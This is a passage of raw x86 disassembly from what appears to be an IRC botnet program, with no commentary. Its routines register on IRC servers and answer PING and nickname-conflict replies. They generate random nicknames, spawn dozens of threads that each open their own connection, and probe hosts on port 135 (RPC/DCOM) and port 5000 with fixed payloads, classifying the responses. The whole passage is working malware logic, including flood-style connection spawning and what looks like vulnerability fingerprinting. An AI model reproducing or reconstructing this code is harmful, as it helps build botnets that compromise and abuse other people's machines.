var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA54
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_417B25
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA14
		cmp	eax, esi
		jnz	short loc_417B0A
		push	[ebp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jz	short loc_417B25
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417B0A:				; CODE XREF: sub_417AA9+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, esi
		jnz	short loc_417B29
		push	edi
		call	dword_4CBA6C


loc_417B25:				; CODE XREF: sub_417AA9+1Bj
					; sub_417AA9+58j
		mov	eax, esi
		jmp	short loc_417B2B
; ---------------------------------------------------------------------------


loc_417B29:				; CODE XREF: sub_417AA9+73j
		mov	eax, edi


loc_417B2B:				; CODE XREF: sub_417AA9+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417AA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B2F	proc near		; CODE XREF: sub_401ACD+324Cp
					; sub_401ACD+32B6p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A080 ; "\n"
		push	edi
		call	sub_41C8A0
		pop	ecx
		mov	esi, offset dword_4D4A5C
		pop	ecx


loc_417B47:				; CODE XREF: sub_417B2F+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_417B65
		cmp	dword ptr [esi], 0
		jbe	short loc_417B65
		push	0
		push	edi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CBA24


loc_417B65:				; CODE XREF: sub_417B2F+1Cj
					; sub_417B2F+21j
		add	esi, 210h
		cmp	esi, offset dword_4DB17C
		jl	short loc_417B47
		pop	edi
		pop	esi
		retn
sub_417B2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B76	proc near		; CODE XREF: sub_417C61+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CDC0 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41CAD4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_417B9B:				; CODE XREF: sub_417B76+35j
		push	esi
		push	0
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_417B9B
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_417BC3
		cmp	esi, edi
		jnz	short loc_417BC3
		push	1
		pop	eax
		jmp	loc_417C5C
; ---------------------------------------------------------------------------


loc_417BC3:				; CODE XREF: sub_417B76+3Fj
					; sub_417B76+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417BDE
		push	offset dword_43932C
		jmp	short loc_417C2C
; ---------------------------------------------------------------------------


loc_417BDE:				; CODE XREF: sub_417B76+5Fj
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417BFF
		push	esi
		push	offset dword_439328
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A


loc_417BFF:				; CODE XREF: sub_417B76+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417E84
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_43931C


loc_417C2C:				; CODE XREF: sub_417B76+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24


loc_417C5A:				; CODE XREF: sub_417B76+87j
		xor	eax, eax


loc_417C5C:				; CODE XREF: sub_417B76+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C61	proc near		; DATA XREF: sub_417E06+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4A64[esi]
		mov	dword_4D4A58[esi], edi
		push	dword_4D4C64[esi]
		push	eax
		call	sub_417AA9
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D4A5C[esi], eax
		jb	loc_417DE6
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417E84
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D4A5C[esi]
		call	dword_4CBA24
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch


loc_417D3D:				; CODE XREF: sub_417C61+111j
					; sub_417C61+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D4A5C[esi]
		call	dword_4CB9EC
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417DE6
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417D3D


loc_417D74:				; CODE XREF: sub_417C61+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417D9B
		cmp	al, 0Ah
		jz	short loc_417D9B
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417D9B
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417DD5
; ---------------------------------------------------------------------------


loc_417D9B:				; CODE XREF: sub_417C61+11Cj
					; sub_417C61+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417DD5
		push	dword_4D4A5C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417B76
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417DE6
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417DD5:				; CODE XREF: sub_417C61+138j
					; sub_417C61+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_417D74
		jmp	loc_417D3D
; ---------------------------------------------------------------------------


loc_417DE6:				; CODE XREF: sub_417C61+40j
					; sub_417C61+107j ...
		mov	dword_4D4A58[esi], ebx
		mov	esi, dword_4D4A5C[esi]
		cmp	esi, ebx
		jbe	short loc_417DFD
		push	esi
		call	dword_4CBA6C


loc_417DFD:				; CODE XREF: sub_417C61+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_417C61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E06	proc near		; CODE XREF: sub_401ACD+319Bp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417E7F


loc_417E18:				; CODE XREF: sub_417E06+77j
		xor	edi, edi
		mov	eax, offset dword_4D4A58


loc_417E1F:				; CODE XREF: sub_417E06+28j
		cmp	[eax], ebx
		jz	short loc_417E30
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DB178
		jl	short loc_417E1F


loc_417E30:				; CODE XREF: sub_417E06+1Bj
		cmp	edi, 31h
		jz	short loc_417E7F
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4A64[esi]
		push	eax
		call	sub_41C890
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4C64[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4A58[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_417C61
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417E18


loc_417E7F:				; CODE XREF: sub_417E06+10j
					; sub_417E06+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E84	proc near		; CODE XREF: sub_401ACD+36FDp
					; sub_401ACD+3747p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		call	sub_41C2C2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276D8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_417ECE
		call	sub_41C2C2
		call	sub_41C2C2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_438A68[edx*4]
		jmp	short loc_417EE7
; ---------------------------------------------------------------------------


loc_417ECE:				; CODE XREF: sub_417E84+2Fj
		call	sub_41C2C2
		call	sub_41C2C2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_438768[edx*4]


loc_417EE7:				; CODE XREF: sub_417E84+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C890
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41D174
		mov	ebx, eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417F5A
		cmp	esi, 3
		jnz	short loc_417F51
		cmp	ebx, 1
		jz	short loc_417F5A


loc_417F51:				; CODE XREF: sub_417E84+C6j
		cmp	eax, 1
		jnz	loc_418014


loc_417F5A:				; CODE XREF: sub_417E84+C1j
					; sub_417E84+CBj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41D174
		push	off_438A68[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C890
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41C990
		add	esp, 10h
		test	eax, eax
		jnz	short loc_418001
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418001
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_418001
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_418001:				; CODE XREF: sub_417E84+111j
					; sub_417E84+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41CBC0
		add	esp, 0Ch


loc_418014:				; CODE XREF: sub_417E84+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B9C0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41DEE8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41827C
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418173
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418082
		cmp	eax, 1
		jnz	loc_418173


loc_418082:				; CODE XREF: sub_417E84+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_4180C4
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_4180E0
; ---------------------------------------------------------------------------


loc_4180C4:				; CODE XREF: sub_417E84+207j
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_4180E0:				; CODE XREF: sub_417E84+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418109
		cmp	eax, ebx
		jnz	short loc_418173


loc_418109:				; CODE XREF: sub_417E84+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_41814E
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_41816C
; ---------------------------------------------------------------------------


loc_41814E:				; CODE XREF: sub_417E84+28Fj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_41816C:				; CODE XREF: sub_417E84+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_418173:				; CODE XREF: sub_417E84+1C9j
					; sub_417E84+1F8j ...
		cmp	esi, 6
		jge	loc_4181FC
		cmp	esi, 5
		jge	short loc_418194
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		jmp	short loc_4181B2
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_417E84+2FBj
		call	sub_41C2C2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8


loc_4181B2:				; CODE XREF: sub_417E84+30Ej
		call	sub_41D174
		test	eax, eax
		jnz	short loc_4181D5
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		jmp	short loc_4181F2
; ---------------------------------------------------------------------------


loc_4181D5:				; CODE XREF: sub_417E84+335j
		cmp	eax, 1
		jnz	short loc_4181FC
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h


loc_4181F2:				; CODE XREF: sub_417E84+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_4181FC:				; CODE XREF: sub_417E84+2F2j
					; sub_417E84+354j
		cmp	[ebp+var_C], 2
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A0
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		cmp	[ebp+var_C], eax
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_427698
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_41827C:				; CODE XREF: sub_417E84+1B1j
					; sub_417E84+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418295	proc near		; CODE XREF: sub_4182CD+125p
					; sub_4182CD+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_4182C3


loc_4182A6:				; CODE XREF: sub_418295+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41DF40
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4182C9
		inc	esi
		cmp	esi, edi
		jl	short loc_4182A6


loc_4182C3:				; CODE XREF: sub_418295+Fj
		xor	al, al


loc_4182C5:				; CODE XREF: sub_418295+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4182C9:				; CODE XREF: sub_418295+27j
		mov	al, 1
		jmp	short loc_4182C5
sub_418295	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182CD	proc near		; CODE XREF: ___:0040DFD7p
					; ___:0040E0C0p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41C500
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_41830E
		dec	eax
		jz	short loc_4182EC
		dec	eax


loc_4182E6:				; CODE XREF: sub_4182CD+57j
		xor	eax, eax


loc_4182E8:				; CODE XREF: sub_4182CD+3Fj
					; sub_4182CD+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4182EC:				; CODE XREF: sub_4182CD+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4CBA14
		push	eax
		call	sub_40C34B
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_4182E8
; ---------------------------------------------------------------------------


loc_41830E:				; CODE XREF: sub_4182CD+13j
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_4182E6
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, edi
		jz	loc_41842A
		push	ebx
		push	48h
		push	offset dword_439374
		push	esi
		call	dword_4CBA24
		cmp	eax, edi
		jz	loc_41842A
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9EC
		cmp	eax, edi
		jz	loc_41842A
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_41842A
		push	ebx
		push	18h
		push	offset dword_4393C0
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	eax, edi
		jz	short loc_41842A
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9EC
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41842A
		cmp	[ebp+var_200E],	2
		jnz	short loc_41842A
		push	10h
		push	offset loc_4393DC
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		test	al, al
		jz	short loc_41840A
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_41842A
; ---------------------------------------------------------------------------


loc_41840A:				; CODE XREF: sub_4182CD+12Fj
		push	10h
		push	offset dword_4393F0
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_41842A:				; CODE XREF: sub_4182CD+9Bj
					; sub_4182CD+B2j ...
		push	[ebp+arg_4]
		call	dword_4CBA6C
		mov	eax, ebx
		pop	ebx
		jmp	loc_4182E8
sub_4182CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41843B	proc near		; CODE XREF: sub_401ACD+BD0p
					; sub_401ACD+C0Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_4184C6
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_4184C6
		cmp	[ebp+arg_8], esi
		jz	short loc_4184C6
		cmp	byte ptr [eax],	0
		jz	short loc_4184C6
		push	ebx
		push	edi
		call	sub_426465
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_4184C1
		push	[ebp+arg_4]
		push	edi
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4184BA
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41BFD0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41B9C0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41CBC0
		push	[ebp+arg_4]
		call	sub_41B9C0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C8A0
		push	ebx
		push	edi
		call	sub_41C890
		add	esp, 30h
		mov	esi, edi


loc_4184BA:				; CODE XREF: sub_41843B+3Cj
		push	ebx
		call	sub_41BA91
		pop	ecx


loc_4184C1:				; CODE XREF: sub_41843B+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_4184C8
; ---------------------------------------------------------------------------


loc_4184C6:				; CODE XREF: sub_41843B+Cj
					; sub_41843B+13j ...
		xor	eax, eax


loc_4184C8:				; CODE XREF: sub_41843B+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41843B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184CC	proc near		; CODE XREF: sub_401955+E9p
					; ___:00410CF1p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41BF70
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41B9C0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_418502
		or	eax, 0FFFFFFFFh
		jmp	short loc_418575
; ---------------------------------------------------------------------------


loc_418502:				; CODE XREF: sub_4184CC+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_418524


loc_41850E:				; CODE XREF: sub_4184CC+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_41851B
		cmp	dl, 0Dh
		jnz	short loc_41851F


loc_41851B:				; CODE XREF: sub_4184CC+48j
		and	byte ptr [ecx+esi], 0


loc_41851F:				; CODE XREF: sub_4184CC+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_41850E


loc_418524:				; CODE XREF: sub_4184CC+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418555
		lea	edi, [ebp+var_7CC]


loc_418531:				; CODE XREF: sub_4184CC+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418550
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418550
		cmp	ebx, 1F4h
		jge	short loc_418555
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418550:				; CODE XREF: sub_4184CC+69j
					; sub_4184CC+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_418531


loc_418555:				; CODE XREF: sub_4184CC+5Dj
					; sub_4184CC+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418573
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
